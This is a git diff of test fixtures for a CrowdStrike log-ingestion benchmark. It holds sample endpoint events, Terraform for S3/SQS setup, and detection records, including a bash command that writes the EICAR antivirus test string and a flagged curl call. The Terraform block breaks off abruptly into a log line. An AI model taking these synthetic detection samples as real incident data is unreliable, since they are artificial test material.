+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"666346415","ContextProcessId":"1717987648455","ContextThreadId":"55064470042288","ContextTimeStamp":"1604850899.164","EffectiveTransmissionClass":"3","Entitlements":"15","VolumeName":"\\Device\\HarddiskVolume27","aid":"ffffffff896b43725b83c79aa79959da","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeUnmounted","id":"ffffffff-1111-11eb-9f70-0634389d9ea9","name":"FsVolumeUnmountedV2","timestamp":"1604850899812"} +{"ConfigBuild":"1007.4.0009906.1","ConfigStateHash":"3429017943","ContextProcessId":"66426035996442255","ContextTimeStamp":"1604851098.548","Entitlements":"15","aid":"ffffffff899541b94b9adff8922aa70a","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"FirewallDisabled","id":"ffffffff-1111-11eb-9d4c-02f402df8c1f","name":"FirewallDisabledMacV1","timestamp":"1604851040625"} +{"ComputerName":"HQ-sadhkbasHS","CurrentLocalIP":"67.43.156.13","FirstDiscoveredDate":"1669625277.827","LastDiscoveredBy":"c1b74438660b44cfa93e24c9d44badab","LocalAddressIP4":"67.43.156.13","MAC":"AA-AA-AA-AA-AA-AA","MACPrefix":"AA-AA-AA","NeighborName":"!!!!UNKNOWN!!!!","__mv_LocalAddressIP4":"","__mv_aip":"$67.43.156.14$;$67.43.156.13$","__mv_discoverer_aid":"$4b8f58d3f5f040b3804d3820ca2aed67$;$c1b74438660b44cfa93e24c9d44badab$","__mv_discoverer_devicetype":"","_time":"1678931820.343","aip":"67.43.156.13 67.43.156.14 81.2.69.192","aipCount":"3","cid":"500c5073b4d7443688f4b32c5eeb295b","discovererCount":"2","discoverer_aid":"4b8f58d3f5f040b3804d3820ca2aed67 c1b74438660b44cfa93e24c9d44badab","discoverer_devicetype":"","localipCount":"1","subnet":"10.0"} +{"aid":"11111111111111111111111111111111","cid":"22222222222222222222222222222222","hostname":"example-XXXXXXXXX","os_version":"Sonoma (14)","product_name":"","product_type_desc":"Workstation","host_hidden_status":"VISIBLE","event_platform":"Mac","scores":{"os":89,"sensor":100,"overall":97,"version":"3.8.1","modified_time":"2024-02-13T22:33:34.077075097Z"},"assessments":{"analytics_and_improvements_mac":"yes","application_firewall_mac":"yes","crendential_dumping_hash_mac":"yes","crendential_dumping_kcpassword_mac":"yes","crowdstrike_full_disk_access":"yes","execution_blocking_custom_blocking_enabled_mac":"yes","execution_blocking_intel_threats_enabled_mac":"yes","execution_blocking_suspicious_processes_enabled_mac":"yes","file_vault_enabled_mac":"yes","gatekeeper_mac":"yes","internet_sharing_mac":"yes","mac_os_version":"yes","ml_adware_detection_mac":"yes","ml_adware_prevention_mac":"yes","ml_cloud_antimalware_detection_mac":"yes","ml_cloud_antimalware_prevention_mac":"yes","ml_sensor_adware_and_pup_detection_mac":"yes","ml_sensor_adware_and_pup_prevention_mac":"yes","ml_sensor_antimalware_detection_mac":"yes","ml_sensor_antimalware_prevention_mac":"yes","quarantine_mac":"yes","real_time_response_enabled_mac":"yes","remote_login_mac":"yes","script_based_execution_monitoring_mac":"yes","sip_enabled_mac":"yes","stealth_mode_mac":"no","system_full_disk_access_mac":"no","unauthorized_remote_access_chopper_mac":"yes","unauthorized_remote_access_empyre_mac":"yes","unauthorized_remote_access_xpcom_mac":"yes"},"event_type":"ZeroTrustHostAssessment","timestamp":"1601546312519"} +{"AccountType":"Domain User","LastLoggedOnHost":"COMPUTER1","LocalAdminAccess":"No","LogonInfo":"Domain User Logon","LogonTime":"1702546155.197","LogonType":"Interactive","PasswordLastSet":"1699971198.062","User":{"Name":"DOMAIN\\BRADLEYA","ID":"1000"},"UserIsAdmin":"0","UserLogonFlags_decimal":"0","UserSid_readable":"S-1-12-1-3697283754-1083485977-2164330645-2516515886","_time":"1702546168.576","cid":"ffffffff15754bcfb5f9152ec7ac90ad","event_platform":"Win","monthsincereset":"1.0"} +{"ChangeId":"ca65aa54f7b9453b8ef199a5b2c8e3c4","Host":{"Name":"LINUX-TEST-HOST-01"},"User":{"Name":"testuser","ID":"1000"},"Policy":{"Name":"FileVantage Policy","RuleGroupName":"FileVantage Rule Group","RuleBasePath":"/home/testuser/filevantage/","ID":"8fd42a5c9ac24959a98d9e430837b5e6"},"Prevalence":{"Key":"1:3:DIR:CREATE:/home/testuser/filevantage/suppressed::node:testuser"},"Suppression":{"Suppressed":false},"ContentDiff":{"Exists":false,"SHA256":""},"CustomerIdString":"2cc98db1a47b4c98b913c94d43bfab70","UTCTimestamp":1764581217862,"Nonce":13140498271151144192,"AgentIdString":"2e3d9c94d9c34764860b1f3b444c6d4d","EventUUID":"ca65aa54-f7b9-453b-8ef1-99a5b2c8e3c4","cid":"2cc98db1a47b4c98b913c94d43bfab70","eid":118,"timestamp":"2025-12-01T09:26:57Z","EventType":"Event_ExternalApiEvent","ExternalApiType":"Event_FileIntegrityMonitorRuleMatchedEnriched"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/main.tf b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/main.tf new file mode 100644 index 0000000000..ac47ae84b0 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/main.tf @@ -0,0 +1,125 @@ +provider "aws" { + default_tags { + tags = { + environment = var.ENVIRONMENT + repo = var.REPO + branch = var.BRANCH + build = var.BUILD_ID + created_date = var.CREATED_DATE + } + } +} + +resource "aws_s3_bucket" "crowdstrike_fdr" { + bucket = "${var.bucket_name}-${var.TEST_RUN_ID}" +} + +resource "aws_s3_object" "crowdstrike_data" { + bucket = aws_s3_bucket.crowdstrike_fdr.id + key = "data" + source = "./files/fdr-sample.log" +} + +resource "aws_s3_object" "crowdstrike_aidmaster" { + bucket = aws_s3_bucket.crowdstrike_fdr.id + key = "fdrv2/aidmaster" + source = "./files/fdr-0_aidmaster.log" +} + +resource "aws_s3_object" "crowdstrike_userinfo" { + bucket = aws_s3_bucket.crowdstrike_fdr.id + key = "fdrv2/userinfo" + source = "./files/fdr-0_userinfo.log" +} + +resource "aws_sqs_queue" "crowdstrike_queue" { + name = "elastic-package-crowdstrike-queue-${var.TEST_RUN_ID}" +} + +# IAM Policy for EventBridge Scheduler +resource "aws_iam_policy" "sqs_access_policy" { + count = var.eventbridge_role_arn == null ? 1 : 0 + name = "sqs-access-policy-${var.TEST_RUN_ID}" + description = "Policy for EventBridge Scheduler to send messages to SQS" + + policy = jsonencode({ + Version = "2012-10-17" + Statement = [ + { + Action = [ + "sqs:ReceiveMessage", + "sqs:SendMessage" + ], + Effect = "Allow" + Resource = aws_sqs_queue.crowdstrike_queue.arn + } + ] + }) +} + +# IAM Role for EventBridge Scheduler +resource "aws_iam_role" "eventbridge_scheduler_iam_role" { + count = var.eventbridge_role_arn == null ? 1 : 0 + name_prefix = "eb-scheduler-role-${var.TEST_RUN_ID}-" + managed_policy_arns = [aws_iam_policy.sqs_access_policy.0.arn] + path = "/" + assume_role_policy = < eicar.com /bin/bash","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088","DataDomains":"Endpoint","Description":"A process has written a known EICAR test file. Review the files written by the triggered process.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"bash","FilePath":"/usr/bin/bash","GrandParentCommandLine":"falcon-sensor-bpf","GrandParentImageFileName":"falcon-sensor-bpf17804","GrandParentImageFilePath":"/opt/CrowdStrike/falcon-sensor-bpf17804","HostGroups":"5b2e67ccb1de4ac0b1c49225c8fcb132","Hostname":"cs-elastic","LocalIP":"192.168.64.5","LocalIPv6":"","LogonDomain":"","MACAddress":"52-54-00-58-b6-5e","MD5String":"21cdb844225f8dc4ea6e9f80f9940a2b","Name":"Attacker Methodology","Objective":"Follow Through","ParentCommandLine":"/bin/bash --noprofile --norc -c #!/bin/bash\n# SYNOPSIS\n# Run a bash script with specified command line and timeout\n# DESCRIPTION\n# CrowdStrike Real Time Response command\n# PARAMETER WD\n# Current working directory\n# PARAMETER Param1\n# Script body - Required\n# PARAMETER Param2\n# Command line sent to script\n# PARAMETER Param3\n# Local path - path to local file to be used as script body\n# PARAMETER Param4\n# Timeout in seconds\n# NOTES\n# File Name : runscript.sh\n# Contact : support@crowdstrike.com\n# Copyright : CrowdStrike 2020\n# LINK\n# https://www.crowdstrike.com/\n\nset -euo pipefail\nshopt -s extglob\n\ncommand=runscript\n\nfunction die\n{\n echo \"$command: $1\" >&2\n exit 1\n}\n\nfunction err_handler()\n{\n # Rewrite the error message to remove the internal command prefix\n echo \"$command:${1#*cat:}\" >&2\n}\ntrap 'err_handler \"$script\"' ERR\n\nfunction get_arg() {\n eval set -- \"$1\"\n echo \"$@\"\n}\n\nscript=\nif [ \"$#\" -ge 1 ]; then\n script=\"$1\"\n shift\nfi\n\nscript_args=\nif [ \"$#\" -ge 1 ]; then\n script_args=\"$1\"\n shift\nfi\n\n# following Windows behavior where HostPath clobbers Raw\nif [ \"$#\" -ge 1 ]; then\n script_path=\"$(get_arg \"$1\")\"\n if [ -n \"$script_path\" ]; then\n script=\"$(/bin/cat \"$script_path\" 2>&1)\"\n fi\n shift\nfi\n\ntimeout=60\nif [ \"$#\" -ge 1 ]; then\n if [ -n \"$1\" ]; then\n timeout=\"$1\"\n fi\n shift\nfi\n\nif [ -z \"$script\" ]; then\n die \"Either -Raw or -HostPath must be specified\"\nfi\n\nif [[ \"$timeout\" =~ .*[^0-9].* ]] || [ \"$timeout\" -eq 0 ]; then\n die \"Timeout must be a positive integer\"\nfi\n\neval set -- \"$script_args\"\n/bin/bash -c \"$script\" /bin/bash \"$@\" &\npid=$!\n\nfunction get_time()\n{\n sed -n '1s/\\([0-9]\\+\\)\\.\\([0-9][0-9]\\).*/\\1\\2/p' /proc/uptime\n}\n\nstart_time=$(get_time)\nlast_print_time=$start_time\nwait_interval=0.1\nprint_interval=5\nresolution=100\nwhile kill -0 $pid 2> /dev/null ; do\n current_time=$(get_time)\n if ((current_time - start_time >= timeout*resolution)); then\n kill -9 $pid >/dev/null 2>&1\n echo \"$command: Timed out waiting for script to exit\" >&2\n kill -9 -$$ >/dev/null 2>&1\n fi\n if ((current_time - last_print_time >= print_interval*resolution)); then\n printf %b '\\xe2\\x80\\x8b' # hex for unicode '\\u200b' for backward compatibility\n last_print_time=$current_time\n fi\n /bin/sleep $wait_interval\ndone\n /bin/bash printf \"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\" > eicar.com ","ParentImageFileName":"bash","ParentImageFilePath":"/usr/bin/bash","ParentProcessId":1751532935654264600,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":30195,"PlatformId":"3","PlatformName":"Linux","ProcessEndTime":1751532935,"ProcessId":1751532935660927000,"ProcessStartTime":1751532935,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"c43e9716c26e88801364e80e997f986760f5d82b5649f9e149b164396dd08c3d","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Execution","Technique":"User Execution","Type":"ldt","UserName":"root","ExternalApiType":"Event_EppDetectionSummaryEvent"} +{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:38655211725","CommandLine":"C:\\Windows\\Explorer.EXE","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320","DataDomains":"Endpoint","Description":"A process has written a known EICAR test file. Review the files written by the triggered process.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"explorer.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","FilesAccessed":[{"FileName":"eicarcom2.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads","Timestamp":1751371830},{"FileName":"thumbcache_16.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371830},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371830},{"FileName":"thumbcache_idx.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371830},{"FileName":"GLEAM-LIGHT.svg","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds","Timestamp":1751371835},{"FileName":"GLEAM-DARK.svg","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds","Timestamp":1751371835},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371841},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371842},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371843},{"FileName":"iconcache_16.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371843}],"FilesWritten":[{"FileName":"eicar.com","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com","Timestamp":1751371843},{"FileName":"The Internet.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371658},{"FileName":"windowsdefender--threat-.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371658},{"FileName":"The Internet.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371744},{"FileName":"windowsdefender--threat-.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371744},{"FileName":"https--go.microsoft.com-fwlink-linkid=142185&name=ToolWin32-EICAR_Test_File&threatid=17463.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371761}],"GrandParentCommandLine":"winlogon.exe","GrandParentImageFileName":"winlogon.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\winlogon.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"23ba370fc8357f6f827812da142b5fcb","Name":"Known Malware","NetworkAccesses":[{"AccessTimestamp":1751371565,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49729,"Protocol":"TCP","RemoteAddress":"150.171.27.12","RemotePort":443},{"AccessTimestamp":1751371565,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49730,"Protocol":"TCP","RemoteAddress":"2.22.144.74","RemotePort":443},{"AccessTimestamp":1751371787,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49948,"Protocol":"TCP","RemoteAddress":"2.18.27.89","RemotePort":443}],"Objective":"Follow Through","ParentCommandLine":"C:\\Windows\\system32\\userinit.exe","ParentImageFileName":"userinit.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe","ParentProcessId":38850737845,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10418,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":38850874557,"ProcessStartTime":1751371562,"ReferrerUrl":"C:\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com.zip","SHA1String":"0000000000000000000000000000000000000000","SHA256String":"a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Execution","Technique":"User Execution","Type":"ldt","UserName":"win10_user3","ExternalApiType":"Event_EppDetectionSummaryEvent"} +{"Tactic":"Custom Intelligence","CustomerIdString":"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6","EventType":"Event_ExternalApiEvent","ParentProcessId":"1234567890123456789","SourceVendors":"CrowdStrike","AggregateId":"aggind:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:9876543210987654321","UTCTimestamp":"1700000000","LogonDomain":"","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:ind:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:1234567890123456789-5306-9876543210987654321?_cid=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","CompositeId":"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:ind:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:1234567890123456789-5306-9876543210987654321","Name":"Intel Detection","SHA1String":"0000000000000000000000000000000000000000","SourceProducts":"Falcon Insight","ProcessEndTime":"1700000001","IOCValue":"example.com","PatternId":"5306","MitreAttack":[{"TacticID":"CSTA0005","Tactic":"Custom Intelligence","TechniqueID":"CST0005","PatternID":"5306","Technique":"Indicator of Compromise"}],"AgentId":"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6","ParentCommandLine":"-bash","ParentImageFilePath":"/usr/bin/bash","DataDomains":"Endpoint","LocalIPv6":"","PatternDispositionFlags":{"BootupSafeguardEnabled":"false","QuarantineFile":"false","QuarantineMachine":"false","HandleOperationDowngraded":"false","Detect":"false","RegistryOperationBlocked":"false","KillParent":"false","ContainmentFileSystem":"false","Indicator":"false","FsOperationBlocked":"false","OperationBlocked":"false","SuspendParent":"false","SuspendProcess":"false","KillProcess":"false","ProcessBlocked":"false","BlockingUnsupportedOrDisabled":"false","PolicyDisabled":"false","KillActionFailed":"false","SensorOnly":"false","CriticalProcessDisabled":"false","KillSubProcess":"false","Rooting":"false","InddetMask":"false"},"Hostname":"test-host-01","GrandParentCommandLine":"/usr/sbin/sshd -D -R","PatternDispositionDescription":"Detection, standard detection.","PlatformName":"Linux","Nonce":"1234567890123456789","Objective":"Falcon Detection Method","ProcessStartTime":"1700000000","Technique":"Indicator of Compromise","cid":"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6","eid":"118","Description":"A domain matched a Custom Intelligence Indicator (Custom IOC) with informational severity.","FileName":"curl","ParentImageFileName":"bash","HostGroups":"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6,b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7","LocalIP":"192.168.1.100","PlatformId":"3","timestamp":"2023-11-15T12:00:00Z","GrandParentImageFileName":"sshd","FilePath":"/usr/bin/curl","UserName":"testuser","MD5String":"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5","SeverityName":"Informational","Severity":"10","CloudIndicator":"true","PatternDispositionValue":"0","ExternalApiType":"Event_EppDetectionSummaryEvent","SHA256String":"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6","NetworkAccesses":[{"AccessTimestamp":"1700000001","RemoteAddress":"192.168.1.1","LocalAddress":"192.168.1.100","LocalPort":"5353","RemotePort":"53","IsIPV6":"false","Protocol":"UDP","AccessType":"0"},{"AccessTimestamp":"1700000001","RemoteAddress":"192.168.1.2","LocalAddress":"192.168.1.100","LocalPort":"44300","RemotePort":"443","IsIPV6":"false","Protocol":"TCP","AccessType":"0"}],"CommandLine":"curl https://example.com","Type":"ldt","GrandParentImageFilePath":"/usr/sbin/sshd","MACAddress":"00-11-22-33-44-55","AgentIdString":"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6","IOCType":"domain","ProcessId":"1234567890123456789"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-epp-detection-summary.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-epp-detection-summary.log-expected.json new file mode 100644 index 0000000000..ff1c57bf92 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-epp-detection-summary.log-expected.json @@ -0,0 +1,2101 @@ +{ + "expected": [ + { + "@timestamp": "2020-04-28T11:07:58.223Z", + "crowdstrike": { + "AggregateId": "aggind:c8d1292a8a904216aa25ab728f4b45fd:21483417902", + "AssociatedFile": "\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe", + "CompositeId": "44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333", + "DataDomains": "Endpoint", + "ExternalApiType": "Event_EppDetectionSummaryEvent", + "FalconHostLink": "https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999", + "GrandparentCommandLine": "C:\\Windows\\system32\\services.exe", + "GrandparentImageFileName": "services.exe", + "GrandparentImageFilePath": "\\Device\\HarddiskVolume2\\Windows\\System32\\services.exe", + "HostGroups": [ + "ba7f8041fd6c47dcae4cff3194861088", + "c8d1292a8a904216aa25ab728f4b45fd" + ], + "IOCType": "hash_sha256", + "IOCValue": "faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976", + "MACAddress": "01-23-45-67-89-ab", + "Objective": "Falcon Detection Method", + "ParentCommandLine": "\"C:\\Program Files (x86)\\Remote Utilities - Host\\rutserv.exe\"", + "PatternDispositionDescription": "Prevention, process was blocked from execution.", + "PatternDispositionFlags": { + "BlockingUnsupportedOrDisabled": false, + "BootupSafeguardEnabled": false, + "CriticalProcessDisabled": false, + "Detect": false, + "FsOperationBlocked": false, + "HandleOperationDowngraded": false, + "InddetMask": false, + "Indicator": false, + "KillActionFailed": false, + "KillParent": false, + "KillProcess": false, + "KillSubProcess": false, + "OperationBlocked": false, + "PolicyDisabled": false, + "ProcessBlocked": true, + "QuarantineFile": false, + "QuarantineMachine": false, + "RegistryOperationBlocked": false, + "Rooting": false, + "SensorOnly": false, + "SuspendParent": false, + "SuspendProcess": false + }, + "PatternDispositionValue": 2048, + "PatternId": 5728, + "SensorId": "c8d1292a8a904216aa25ab728f4b45fd", + "Severity": 30, + "SeverityName": "Low", + "SourceProducts": "Falcon Insight", + "SourceVendors": "CrowdStrike", + "Tactic": "Malware", + "Technique": "PUP", + "Type": "ldt" + }, + "device": { + "id": "c8d1292a8a904216aa25ab728f4b45fd" + }, + "event": { + "category": [ + "malware" + ], + "kind": "alert", + "original": "{\"ProcessStartTime\":1718032715,\"ProcessEndTime\":1718032715,\"ProcessId\":43009301133,\"ParentProcessId\":25841449898,\"Hostname\":\"DESKTOP1111\",\"UserName\":\"USER11111\",\"Name\":\"NGAV\",\"Description\":\"This file is classified as Adware/PUP based on its SHA256 hash.\",\"Severity\":30,\"SeverityName\":\"Low\",\"FileName\":\"rfusclient.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume2\\\\Program Files (x86)\\\\Remote Utilities - Host\\\\rfusclient.exe\",\"CommandLine\":\"\\\"C:\\\\Program Files (x86)\\\\Remote Utilities - Host\\\\rfusclient.exe\\\" /rsession\",\"SHA256String\":\"faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976\",\"MD5String\":\"848a53dc549be0386e5da0f49700c389\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"LogonDomain\":\"OVAC\",\"FalconHostLink\":\"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999\",\"AgentId\":\"c8d1292a8a904216aa25ab728f4b45fd\",\"IOCType\":\"hash_sha256\",\"IOCValue\":\"faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976\",\"CompositeId\":\"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333\",\"LocalIP\":\"81.2.69.144\",\"MACAddress\":\"01-23-45-67-89-ab\",\"Tactic\":\"Malware\",\"Technique\":\"PUP\",\"Objective\":\"Falcon Detection Method\",\"PatternDispositionDescription\":\"Prevention, process was blocked from execution.\",\"PatternDispositionValue\":2048,\"PatternDispositionFlags\":{\"Indicator\":false,\"Detect\":false,\"InddetMask\":false,\"SensorOnly\":false,\"Rooting\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"QuarantineMachine\":false,\"QuarantineFile\":false,\"PolicyDisabled\":false,\"KillParent\":false,\"OperationBlocked\":false,\"ProcessBlocked\":true,\"RegistryOperationBlocked\":false,\"CriticalProcessDisabled\":false,\"BootupSafeguardEnabled\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"KillActionFailed\":false,\"BlockingUnsupportedOrDisabled\":false,\"SuspendProcess\":false,\"SuspendParent\":false},\"ParentImageFileName\":\"rutserv.exe\",\"ParentCommandLine\":\"\\\"C:\\\\Program Files (x86)\\\\Remote Utilities - Host\\\\rutserv.exe\\\"\",\"GrandParentImageFileName\":\"services.exe\",\"GrandParentCommandLine\":\"C:\\\\Windows\\\\system32\\\\services.exe\",\"HostGroups\":\"ba7f8041fd6c47dcae4cff3194861088,c8d1292a8a904216aa25ab728f4b45fd\",\"AssociatedFile\":\"\\\\Device\\\\HarddiskVolume2\\\\Program Files (x86)\\\\Remote Utilities - Host\\\\rfusclient.exe\",\"PatternId\":5728,\"SourceVendors\":\"CrowdStrike\",\"SourceProducts\":\"Falcon Insight\",\"DataDomains\":\"Endpoint\",\"AggregateId\":\"aggind:c8d1292a8a904216aa25ab728f4b45fd:21483417902\",\"Type\":\"ldt\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume2\\\\Program Files (x86)\\\\Remote Utilities - Host\\\\rutserv.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\services.exe\",\"LocalIPv6\":\"\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}", + "severity": 21, + "type": [ + "info" + ] + }, + "file": { + "directory": "\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host", + "hash": { + "md5": "848a53dc549be0386e5da0f49700c389", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976" + }, + "name": "rfusclient.exe", + "path": "\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe" + }, + "host": { + "domain": "OVAC", + "hostname": "DESKTOP1111", + "mac": [ + "01-23-45-67-89-AB" + ], + "name": "DESKTOP1111" + }, + "message": "This file is classified as Adware/PUP based on its SHA256 hash.", + "process": { + "command_line": "\"C:\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe\" /rsession", + "end": "2024-06-10T15:18:35.000Z", + "entity_id": "43009301133", + "executable": "\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote 